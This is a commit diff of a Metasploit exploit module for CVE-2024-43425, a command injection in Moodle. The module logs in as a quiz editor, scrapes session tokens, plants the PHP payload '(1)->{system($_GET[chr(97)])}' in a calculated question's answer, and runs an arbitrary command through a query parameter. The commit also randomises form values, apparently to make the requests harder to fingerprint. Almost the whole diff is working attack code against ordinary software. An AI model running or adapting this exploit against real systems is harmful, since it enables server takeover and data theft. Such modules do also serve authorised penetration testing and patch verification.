Skip to content

Commit afdddf2

Browse files
committed
updated
1 parent c82b821 commit afdddf2

File tree

1 file changed

+37
-79
lines changed

1 file changed

+37
-79
lines changed

modules/exploits/linux/http/moodle_rce.rb

Lines changed: 37 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,8 @@ def initialize(info = {})
88
info,
99
'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)',
1010
'Description' => %q{
11-
This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution..
12-
Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 and earlier unsupported versions.
11+
This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
12+
Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.
1313
},
1414
'License' => MSF_LICENSE,
1515
'Author' => [
@@ -50,8 +50,8 @@ def initialize(info = {})
5050
Opt::RPORT(80),
5151
OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']),
5252
OptString.new('PASSWORD', [true, 'Password for the user']),
53-
OptString.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)']),
54-
OptString.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)']),
53+
OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)']),
54+
OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)']),
5555
OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/'])
5656
]
5757
)
@@ -69,13 +69,9 @@ def execute_command(cmd)
6969
'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1')
7070
)
7171

72-
unless res
73-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
74-
end
72+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
73+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200
7574

76-
unless res.code == 200
77-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
78-
end
7975
print_good('Server reachable.')
8076

8177
moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
@@ -84,18 +80,16 @@ def execute_command(cmd)
8480

8581
html = res.get_html_document
8682
logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1]
87-
88-
unless logintoken
89-
fail_with(Failure::UnexpectedReply, 'logintoken not found.')
90-
end
83+
fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken
9184
vprint_status("logintoken: #{logintoken}")
9285

9386
print_status("Authenticating as #{datastore['USERNAME']}...")
9487
res = send_request_cgi(
9588
'method' => 'POST',
9689
'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'),
9790
'headers' => {
98-
'Cookie' => "MoodleSession=#{moodlesession}"
91+
'Cookie' => "MoodleSession=#{moodlesession}",
92+
'keep_cookies' => true
9993
},
10094
'ctype' => 'application/x-www-form-urlencoded',
10195
'vars_post' => {
@@ -106,25 +100,19 @@ def execute_command(cmd)
106100
}
107101
)
108102

109-
unless res
110-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
111-
end
103+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
112104

113105
moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
114106
fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
115107
vprint_status("MoodleSession: #{moodlesession}")
116108

117-
html = res.get_html_document
118-
119109
moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1]
120110
fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1
121111
vprint_status("MOODLEID1_: #{moodleid1}")
122112

123-
unless res.code == 303 && html.to_s.include?('index.php?testsession=')
124-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
125-
end
113+
html = res.get_html_document
114+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=')
126115
print_status('Successfully authenticated.')
127-
128116
testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1]
129117
vprint_status("testsession: #{testsession}")
130118

@@ -136,13 +124,8 @@ def execute_command(cmd)
136124
'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}")
137125
)
138126

139-
unless res
140-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
141-
end
142-
143-
unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/'))
144-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
145-
end
127+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
128+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/'))
146129

147130
print_status('Obtaining sesskey, courseContextId, and category...')
148131
vprint_status('Obtaining sesskey...')
@@ -151,39 +134,23 @@ def execute_command(cmd)
151134
'headers' => {
152135
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
153136
},
154-
'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}") # get dynamically later
137+
'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}")
155138
)
156139

157-
unless res
158-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
159-
end
160-
161-
unless res.code == 200
162-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
163-
end
140+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
141+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200
164142

165143
html = res.get_html_document
166144
sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1]
167-
168-
unless sesskey
169-
fail_with(Failure::UnexpectedReply, 'sesskey not found.')
170-
end
145+
fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey
171146
vprint_status("sesskey: #{sesskey}")
172147

173148
course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1]
174-
175-
unless course_context_id
176-
fail_with(Failure::UnexpectedReply, 'courseContextId not found.')
177-
end
178-
149+
fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id
179150
vprint_status("courseContextId: #{course_context_id}")
180151

181152
category = html.to_s.match(/;category=(\d+)/)[1]
182-
183-
unless category
184-
fail_with(Failure::UnexpectedReply, 'category not found.')
185-
end
186-
153+
fail_with(Failure::UnexpectedReply, 'category not found.') unless category
187154
vprint_status("category: #{category}")
188155

189156
print_status('Injecting command...')
@@ -222,15 +189,15 @@ def execute_command(cmd)
222189
'mform_isexpanded_id_multitriesheader' => '0',
223190
'mform_isexpanded_id_tagsheader' => '0',
224191
'category' => "#{category},#{course_context_id}",
225-
'name' => 'XXXXXXXXXXXXXXXX',
192+
'name' => Rex::Text.rand_text_alpha(6..10),
226193
'questiontext[text]' => '<p>{b}</p>',
227194
'questiontext[format]' => '1',
228-
'questiontext[itemid]' => '424815274',
195+
'questiontext[itemid]' => rand(424810000..424819999), # '424815274',
229196
'status' => 'ready',
230197
'defaultmark' => '1',
231198
'generalfeedback[text]' => nil,
232199
'generalfeedback[format]' => '1',
233-
'generalfeedback[itemid]' => '940093981',
200+
'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981',
234201
'idnumber' => nil,
235202
'answer[0]' => '(1)->{system($_GET[chr(97)])}',
236203
'fraction[0]' => '1.0',
@@ -240,32 +207,29 @@ def execute_command(cmd)
240207
'correctanswerformat[0]' => '1',
241208
'feedback[0][text]' => nil,
242209
'feedback[0][format]' => '1',
243-
'feedback[0][itemid]' => '738798744',
210+
'feedback[0][itemid]' => rand(738790000..738799999), # '738798744',
244211
'unitrole' => '3',
245-
'penalty' => '0.3333333',
212+
'penalty' => rand(0.1333333..0.7333333), # '0.3333333',
246213
'hint[0][text]' => nil,
247214
'hint[0][format]' => '1',
248-
'hint[0][itemid]' => '562446571',
215+
'hint[0][itemid]' => rand(562440000..562449999), # '562446571',
249216
'hint[1][text]' => nil,
250217
'hint[1][format]' => '1',
251-
'hint[1][itemid]' => '161675382',
218+
'hint[1][itemid]' => rand(161670000..161679999), # '161675382',
252219
'tags' => '_qf__force_multiselect_submission',
253220
'submitbutton' => 'Save+changes'
254221
}
255222
)
256223

257-
unless res
258-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
259-
end
224+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
260225

261226
html = res.get_html_document
227+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated')
262228

263-
unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated')
264-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
265-
end
266-
267-
raw_res = res.to_s
268-
id = raw_res.match(/&id=(\d+)/)[1]
229+
location_header = res.headers['Location']
230+
id = location_header && location_header.match(/&id=(\d+)/)
231+
id = id[1] if id
232+
fail_with(Failure::UnexpectedReply, 'ID not found.') unless id
269233
vprint_status("id value: #{id}")
270234

271235
res = send_request_cgi(
@@ -294,27 +258,21 @@ def execute_command(cmd)
294258
}
295259
)
296260

297-
unless res
298-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
299-
end
261+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
300262

301263
html = res.get_html_document
302264

303-
unless res.code == 303 && html.to_s.include?('question/bank/editquestion/')
304-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
305-
end
265+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/')
306266

307267
cmd2 = URI.encode_www_form_component(cmd)
308268
res = send_request_cgi(
309269
'method' => 'GET',
310270
'headers' => {
311271
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
312272
},
313-
'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}") # get dynamically later
273+
'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}")
314274
)
315275

316-
unless res
317-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
318-
end
276+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
319277
end
320278
end

0 commit comments

Comments
 (0)